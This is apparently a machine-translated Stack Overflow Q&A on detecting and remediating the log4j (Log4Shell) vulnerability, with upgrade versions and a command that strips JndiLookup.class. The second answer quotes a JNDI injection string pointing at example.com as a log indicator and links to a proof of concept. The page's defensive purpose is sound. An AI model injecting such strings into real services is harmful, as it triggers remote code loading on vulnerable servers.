1

最近报告了一个log4j漏洞:

  1. https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  2. https://www.randori.com/blog/cve-2021-44228/
  3. https://www.lunasec.io/docs/blog/log4j-zero-day/

我如何确切地知道我的系统已被注入的任意代码攻击或利用?

太感谢了

4

2 回答 2

1

更新:2021-12-18...

请记住始终从下面列出的资源中查看最新信息

CVE-2021-45105 ... 2.16.0 和 2.12.2 不再是有效的补救措施!当前的修复版本是 2.17.0 (Java 8) 和 2.12.3 (Java 7)。所有其他 Java 版本都必须采取权宜之计(从 log4j-core JAR 中删除/删除 JndiLookup.class 文件。
我已相应地更新了下面的消息。


直接回答问题:
Reddit 线程:log4j_0day_being_exploited有几个资源可以帮助你。

检测漏洞

  • cntl+fVendor Advisories. 检查这些列表以查看您是否正在运行任何该软件。如果您是并且有可用的更新,请更新。
  • 然后cntl+f.class and .jar recursive hunter. 在那里运行程序,如果它发现任何补救措施。
  • 如果您想针对漏洞对系统执行手动主动测试,您还可以cntl+ fforVulnerability Detection

检测漏洞利用......这更复杂,我所做的就是直到你

  • cntl+ ffor Vendor Advisories...搜索那里的东西...不确定哪个选项最适合您

补救措施:
CVE-2021-45046 ... CVE-2021-44228 ... CVE-2021-45105
虽然大多数需要知道的人可能已经足够了解他们需要做的事情,但我想我还是会把这个如果...

  • 遵循这些资源中的指导......它可能会改变,但是

截至 2021 年 12 月 18 日

基本上是

  • 如果可能,删除 log4j-core JAR 文件
    • 从两台正在运行的机器上立即修复和
    • 在您的源代码/源代码管理文件中,以防止将来的构建/发布/部署覆盖更改
  • 如果这是不可能的(由于依赖),请升级它们
    • 如果你运行的是 Java8,那么你可以升级到 log4j 2.17.0+
    • 如果您运行的是早期版本的 Java,那么您可以升级到 log4j 2.12.3
    • 如果您运行的是旧版本的 Java,那么您需要升级到最新版本的 Java,然后使用最新版本的 Log4J
    • 同样,这些更改必须同时发生在正在运行的机器和代码中
  • 如果由于某种原因这些都不可能……那么从 log4j-core JAR 中删除 JndiLookup.class 文件是非补救性的。
    • zip默认情况下,使用大多数 Linux 发行版附带 的命令,在 Linux 上有一个止损选项的单线。
      • zip -q -d "$LOG4J_JAR_PATH" org/apache/logging/log4j/core/lookup/JndiLookup.class
    • 在撰写本文时,Windows 上的权宜之计选项的大多数在线指南都说要执行以下操作(再次...假设您无法执行上述删除 JAR 或升级选项之一):
      • 安装类似 7-zip 的东西
      • 找到所有 log4j-core JAR 文件,并为每个文件执行以下操作...
      • 重命名 JAR 以将扩展名更改为.zip
      • 使用 7-zip 解压 JAR(现在有.zip扩展名)
      • 从解压缩的文件夹中找到并删除 JndiLookup.class 文件
        • 路径是\\path\\to\\unzippedFolder\\org\\apache\\logging\\log4j\\core\\lookup\\JndiLookup.class
      • 删除旧的 JAR 文件(现在扩展名为 .zip)
      • 使用 7-zip 重新压缩文件夹
      • 重命名新的 .zip 文件夹以将扩展名更改为.jar
    • 还有一些使用 Power Shell 的选项

如果您只有 1 或 2 个 JAR 文件要处理并且您不介意安装 7-zip 或者您有 PowerShell 可用,这很好。但是,如果您有很多 JAR 文件,或者您不想安装 7-zip 并且无权访问 Power Shell,我创建了一个开源 VBS 脚本,无需安装即可为您执行此操作任何附加软件。https://github.com/CrazyKidJack/Windowslog4jClassRemover

阅读自述文件和发行说明https://github.com/CrazyKidJack/Windowslog4jClassRemover/releases/latest

于 2021-12-17T10:48:12.900 回答
0

如果您看到如下内容,可以查看您的请求日志:

{jndi:ldap://example.com:1234/callback}

如果你想检查你是否会受到攻击,你可以从 Github 运行一个 POC。此链接似乎是第一个发布的 POC。您现在可以找到其他人。

您还可以在此处找到黑盒测试。

于 2021-12-13T16:11:34.440 回答